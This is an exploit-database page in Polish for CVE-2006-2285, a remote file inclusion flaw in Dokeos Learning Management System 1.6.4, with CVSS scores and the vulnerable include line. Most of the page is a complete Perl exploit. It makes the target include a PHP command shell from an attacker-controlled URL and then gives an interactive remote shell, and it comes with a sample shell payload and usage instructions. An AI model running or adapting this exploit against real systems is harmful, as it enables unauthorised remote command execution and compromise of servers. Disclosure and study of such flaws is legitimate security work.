Index
Bugtraq
Pełna lista
Błędy
Sztuczki
Exploity
Dorks list
Tylko z CVE
Tylko z CWE
Bogus
Ranking
CVEMAP
Świeża lista CVE
Producenci
Produkty
Słownik CWE
Sprawdź nr. CVE
Sprawdź nr. CWE
Szukaj
W Bugtraq
W bazie CVE
Po autorze
Po nr. CVE
Po nr. CWE
Po producencie
Po produkcie
RSS
Bugtraq
CVEMAP
CVE Produkty
Tylko Błędy
Tylko Exploity
Tylko Dorks
Więcej
cIFrex
Facebook
Twitter
Donate
O bazie
Lang
Polish
English
Submit
Dokeos Learning Management System 1.6.4 Remote File Include
2006.05.10
Credit:
beford (xbefordx gmail com)
Risk:
Medium
Local:
No
Remote:
Yes
CVE:
CVE-2006-2285
CWE:
CWE-Other
Ogólna skala CVSS:
5.1/10
Znaczenie:
6.4/10
Łatwość wykorzystania:
4.9/10
Wymagany dostęp:
Zdalny
Złożoność ataku:
Wysoka
Autoryzacja:
Nie wymagana
Wpływ na poufność:
Częściowy
Wpływ na integralność:
Częściowy
Wpływ na dostępność:
Częściowy
#!/usr/bin/perl ############ # Dokeos Learning Management System 1.6.4 Remote File Include # Exploit & Advisorie: beford <xbefordx gmail com> # # uso:# perl own.pl <host> <cmd-shell-url> <cmd-var> # perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd # # cmd shell example: <? system($cmd); ?> # cmd variable: cmd; # ############# # Description ############# # Vendor: http://www.dokeos.com/ # The file dokeos/claroline/auth/ldap/authldap.php uses the variable # includePath in a include() function without being declared. # This issue has already been fixed in current claroline.net version, # but dokeos still uses a vulnerable version. ############ # Vulnerable code ############ # include ("$includePath/../auth/ldap/ldap_var.inc.php"); ############ use LWP::UserAgent; $Path = $ARGV[0]; $Pathtocmd = $ARGV[1]; $cmdv = $ARGV[2]; if($Path!~/http:/// || $Pathtocmd!~/http:/// || !$cmdv) { usage(); } head(); while() { print "[shell] $"; while(<STDIN>) { $cmd=$_; chomp($cmd); if (!$cmd) {last;} $xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET =>$Path.'claroline/auth/ldap/authldap.php?includePath='.$Pathtocmd.'?&'. $cmdv.'='.$cmd)or die "nCould Not connectn"; $res = $xpl->request($req); $return = $res->content; $return =~ tr/[n]/[?]/; if ($return =~/Error: HTTP request failed!/ ) { print "nInvalid path for phpshelln"; exit; } elsif ($return =~/^<br./>.<b>Fatal.error/) { print "nInvalid Command, error.nn"; } if ($return =~ /(.*)/) { $finreturn = $1; $finreturn=~ tr/[?]/[n]/; print "rn$finreturnnr"; last; } else { print "[shell] $"; } } } last; sub head() { print "n===================================================================== =======rn"; print " Dokeos Learning Management System Remote File Includern"; print "======================================================================= =====rn"; } sub usage() { head(); print " Usage: perl own.pl <host> <url-cmd> <var>rnn"; print " <host> - Full Path : http://host/dokeos/ rn"; print " <url-cmd> - PhpShell : http://atacate/shell.gif rn"; print " <var> - var name used in phpshell : cmd rnrn"; exit(); }
See this note in RAW Version
Tweet
Vote for this issue:
0
0
50%
50%
Thanks for you vote!
Thanks for you comment!
Your message is in quarantine 48 hours.
Comment it here.
Nick (*)
Email (*)
Video
Text (*)
(*) -
required fields.
Cancel
Submit
{{ x.nick }}
|
Date:
{{ x.ux * 1000 | date:'yyyy-MM-dd' }}
{{ x.ux * 1000 | date:'HH:mm' }}
CET+1
{{ x.comment }}
Show all comments
Copyright
2024
, cxsecurity.com
Back to Top